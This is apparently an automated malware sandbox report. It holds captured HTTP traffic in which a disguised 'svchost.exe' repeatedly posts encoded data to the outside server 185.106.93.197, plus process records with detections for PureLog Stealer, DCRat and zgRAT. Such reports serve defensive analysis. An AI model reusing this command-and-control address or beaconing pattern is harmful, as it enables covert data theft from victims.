                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:13.207103968 CEST2512OUTData Raw: 5b 51 5b 5b 5d 51 59 55 5b 57 5a 59 52 5d 54 51 54 5d 5e 5f 57 51 5a 54 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q[[]QYU[WZYR]TQT]^_WQZT\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!;&^++4]!>1:<5+$V98&R7X',&Y+9"#<9(9"Y %X!'
                                                                      Aug 28, 2024 11:19:13.525384903 CEST25INHTTP/1.1 100 Continue


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      139192.168.2.760246185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:13.685976028 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:19:14.034969091 CEST2512OUTData Raw: 5e 52 5e 54 58 5a 59 55 5b 57 5a 59 52 58 54 52 54 5b 5e 52 57 5f 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^R^TXZYU[WZYRXTRT[^RW_Z[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!8T9?;84-;2,6$-(1 ^ Z',&X<=#,("Y %X!3
                                                                      Aug 28, 2024 11:19:14.389874935 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:14.520627975 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:14 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      140192.168.2.760247185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:14.653094053 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:15.005223989 CEST2512OUTData Raw: 5e 50 5b 5e 5d 5f 59 5b 5b 57 5a 59 52 5f 54 54 54 5b 5e 5c 57 53 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^P[^]_Y[[WZYR_TTT[^\WSZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!B/"]<^' -#1_/584S:: (('Z>+!,1+"Y %X!/
                                                                      Aug 28, 2024 11:19:15.327665091 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:15.462510109 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:15 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      141192.168.2.760248185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:15.605264902 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:19:15.956893921 CEST2512OUTData Raw: 5b 51 5e 59 5d 5f 59 55 5b 57 5a 59 52 58 54 54 54 5e 5e 5d 57 55 5a 5f 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q^Y]_YU[WZYRXTTT^^]WUZ_\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D.16]+(7=710!8':9#8[0<2Y(_!!2?9"Y %X!3
                                                                      Aug 28, 2024 11:19:16.295977116 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:16.425275087 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:16 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      142192.168.2.760249185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:16.558288097 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:16.911178112 CEST2512OUTData Raw: 5e 52 5e 5a 58 5d 59 53 5b 57 5a 59 52 54 54 52 54 5f 5e 5f 57 52 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^R^ZX]YS[WZYRTTRT_^_WRZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"8T&Z>;'# _')6-]%!;0\'<=<_!6,9\+)"Y %X!
                                                                      Aug 28, 2024 11:19:17.211802959 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:17.340691090 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:17 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      143192.168.2.760250185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:17.479163885 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:17.831923962 CEST2512OUTData Raw: 5e 56 5b 59 58 5d 59 51 5b 57 5a 59 52 5a 54 52 54 5a 5e 5e 57 52 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^V[YX]YQ[WZYRZTRTZ^^WRZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!/T%<$!=(]%*,X6;8T,+:V7$\3,"[(:>",)?9"Y %X!;
                                                                      Aug 28, 2024 11:19:18.107673883 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:18.244424105 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:18 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      144192.168.2.760251185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:18.376805067 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      145192.168.2.760252185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:18.557086945 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1844
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:18.910403013 CEST1844OUTData Raw: 5b 5b 5e 58 5d 51 5c 57 5b 57 5a 59 52 5a 54 54 54 50 5e 5f 57 5e 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[^X]Q\W[WZYRZTTTP^_W^Z]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!C;19++4]4=$Y%9"(<-; ^,[3?=+_:]""("Y %X!;
                                                                      Aug 28, 2024 11:19:19.208277941 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:19.337466002 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:19 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 5d 23 3e 3f 57 32 0d 01 04 2c 3b 22 50 2a 02 05 03 29 32 24 59 30 3d 2f 0b 33 2b 24 51 30 38 28 1c 27 31 2d 5e 27 03 27 54 32 0c 2d 5f 06 11 26 1a 34 06 2d 1b 2f 1c 06 11 3e 03 23 04 35 3d 3f 11 3e 33 2d 1d 22 00 2b 15 3e 3c 03 0c 2f 31 3a 0f 29 3a 21 05 2c 04 34 51 25 10 21 52 0c 17 22 53 3c 39 2f 05 20 2b 36 1e 25 22 2c 0e 20 01 2d 56 33 01 27 57 27 3a 28 54 3f 38 24 1c 31 3d 24 57 32 05 00 02 24 12 2b 1a 2d 13 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $]#>?W2,;"P*)2$Y0=/3+$Q08('1-^''T2-_&4-/>#5=?>3-"+></1:):!,4Q%!R"S<9/ +6%", -V3'W':(T?8$1=$W2$+-.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      146192.168.2.760253185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:18.689609051 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:19.035386086 CEST2512OUTData Raw: 5b 50 5e 58 58 5a 5c 56 5b 57 5a 59 52 59 54 50 54 58 5e 5a 57 53 5a 54 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [P^XXZ\V[WZYRYTPTX^ZWSZT\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"/"1++4\ -('9$Y!;(W.2 8Y&<>^("Y",>+"Y %X!7
                                                                      Aug 28, 2024 11:19:19.381556034 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:19.516997099 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:19 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      147192.168.2.760254185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:19.647979021 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:19:20.003803015 CEST2512OUTData Raw: 5e 55 5b 5c 5d 51 59 56 5b 57 5a 59 52 54 54 53 54 5b 5e 58 57 52 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^U[\]QYV[WZYRTTST[^XWRZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";"6?,X7>4_%:(Z6]<S.&Q!((]3/=<_%"&*9"Y %X!
                                                                      Aug 28, 2024 11:19:20.288887978 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:20.420715094 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:20 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      148192.168.2.760255185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:20.554574013 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:20.910073042 CEST2512OUTData Raw: 5e 57 5e 5b 5d 5f 59 51 5b 57 5a 59 52 5a 54 51 54 50 5e 5c 57 53 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W^[]_YQ[WZYRZTQTP^\WSZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"8T1< _#?29<Y6':- 0'Z5?%"Z6?"Y %X!;
                                                                      Aug 28, 2024 11:19:21.176678896 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:21.305078983 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:21 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      149192.168.2.760256185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:21.433007956 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:21.787714005 CEST2512OUTData Raw: 5e 52 5e 54 5d 5b 5c 50 5b 57 5a 59 52 55 54 54 54 50 5e 5f 57 53 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^R^T][\P[WZYRUTTTP^_WSZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!A8T.[>(4\4=$\2)'!+<,+=4$Z$5+X!/5\?9"Y %X!
                                                                      Aug 28, 2024 11:19:22.097543955 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:22.224747896 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:22 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Statistics

                                                                      CPU Usage

                                                                      Click to jump to process

                                                                      Memory Usage

                                                                      Click to jump to process

                                                                      High Level Behavior Distribution

                                                                      Click to dive into process behavior distribution

                                                                      Behavior

                                                                      Click to jump to process

                                                                      System Behavior

                                                                      General

                                                                      Target ID:0
                                                                      Start time:05:17:06
                                                                      Start date:28/08/2024
                                                                      Path:C:\Users\user\Desktop\ugRGgCJhQl.exe
                                                                      Wow64 process (32bit):true
                                                                      Commandline:"C:\Users\user\Desktop\ugRGgCJhQl.exe"
                                                                      Imagebase:0x2e0000
                                                                      File size:2'295'916 bytes
                                                                      MD5 hash:92949DD923E8E88C697092B5311C7D95
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1235344386.00000000069A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1234987945.0000000006090000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                      Reputation:low
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:2
                                                                      Start time:05:17:07
                                                                      Start date:28/08/2024
                                                                      Path:C:\Windows\SysWOW64\wscript.exe
                                                                      Wow64 process (32bit):true
                                                                      Commandline:"C:\Windows\System32\WScript.exe" "C:\comref\POAHIjOuJ41OH.vbe"
                                                                      Imagebase:0x800000
                                                                      File size:147'456 bytes
                                                                      MD5 hash:FF00E0480075B095948000BDC66E81F0
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:moderate
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:12
                                                                      Start time:05:17:12
                                                                      Start date:28/08/2024
                                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                                      Wow64 process (32bit):true
                                                                      Commandline:C:\Windows\system32\cmd.exe /c ""C:\comref\dbCG2LHUCV1kAJJ.bat" "
                                                                      Imagebase:0x410000
                                                                      File size:236'544 bytes
                                                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high
                                                                      Has exited:false

                                                                      General

                                                                      Target ID:13
                                                                      Start time:05:17:12
                                                                      Start date:28/08/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff75da10000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high
                                                                      Has exited:false

                                                                      General

                                                                      Target ID:14
                                                                      Start time:05:17:12
                                                                      Start date:28/08/2024
                                                                      Path:C:\comref\svchost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:"C:\comref/svchost.exe"
                                                                      Imagebase:0x230000
                                                                      File size:1'974'272 bytes
                                                                      MD5 hash:5FF0CC76B0A007E57397479E5FE854B6
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000000.1292145325.0000000000232000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000E.00000002.3783847798.0000000012AD3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000E.00000002.3698250628.0000000007095000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000E.00000002.3698250628.00000000029D9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\comref\svchost.exe, Author: Joe Security
                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\comref\svchost.exe, Author: Joe Security
                                                                      Antivirus matches:
